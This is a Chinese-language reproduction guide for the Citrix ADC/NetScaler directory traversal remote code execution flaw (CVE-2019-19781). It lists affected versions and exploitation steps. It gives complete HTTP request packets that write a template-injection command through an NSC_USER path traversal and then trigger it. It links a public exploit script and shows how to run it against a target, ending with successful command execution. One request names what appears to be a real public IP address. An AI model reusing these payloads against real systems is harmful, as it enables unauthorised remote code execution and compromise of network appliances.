漏洞原因:
Citrix ADC(NetScalers)中的目录穿越错误,这个错误会调用perl脚本,perl脚本用于将XML格式的文件附加到受害计算机,因此产生远程执行代码。
注:Citrix NetScaler ADC应用交付控制器和Citrix NetScaler网关。
漏洞影响范围:
Citrix NetScaler ADC and NetScaler Gateway version 10.5
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1
Citrix ADC and Citrix Gateway version 13.0
漏洞利用过程:
1.pl文件未对NSC_USER参数传入进行过滤
2.触发目录穿越
3.在模板目录的XML文件写入命令
4.模板引擎分析后执行命令
漏洞复现:
方法一:
访问 https://target-ip 或 http://target-ip
登录系统,默认用户和密码登录:nsroot/nsroot
利用目录穿越写入命令语句到newbm.pl文件中
数据包:
POST /vpns/portal/scripts/newbm.pl HTTP/1.1 Host: target-ip Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.23.0 NSC_NONCE: nsroot NSC_USER: ../../../netscaler/portal/templates/15ffbdca Content-Length: 89 url=http://example.com&title=15ffbdca&desc=[% template.new('BLOCK' = 'print `whoami`') %]
GET方式访问写入的xml文件
数据包:
GET /vpns/portal/15ffbdca.xml HTTP/1.1 Host: 50.202.211.151 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.23.0 NSC_NONCE: nsroot NSC_USER: nsroot
方法二:
EXP下载地址:https://codeload.github.com/jas502n/CVE-2019-19781/zip/master
python CVE-2019-19781-Citrix-ADC-Remote-Code-Execution.py https://target-ip
提示http代理错误,看了下exp代码,需要设置本地代理。
文件上传成功,成功执行命令:ls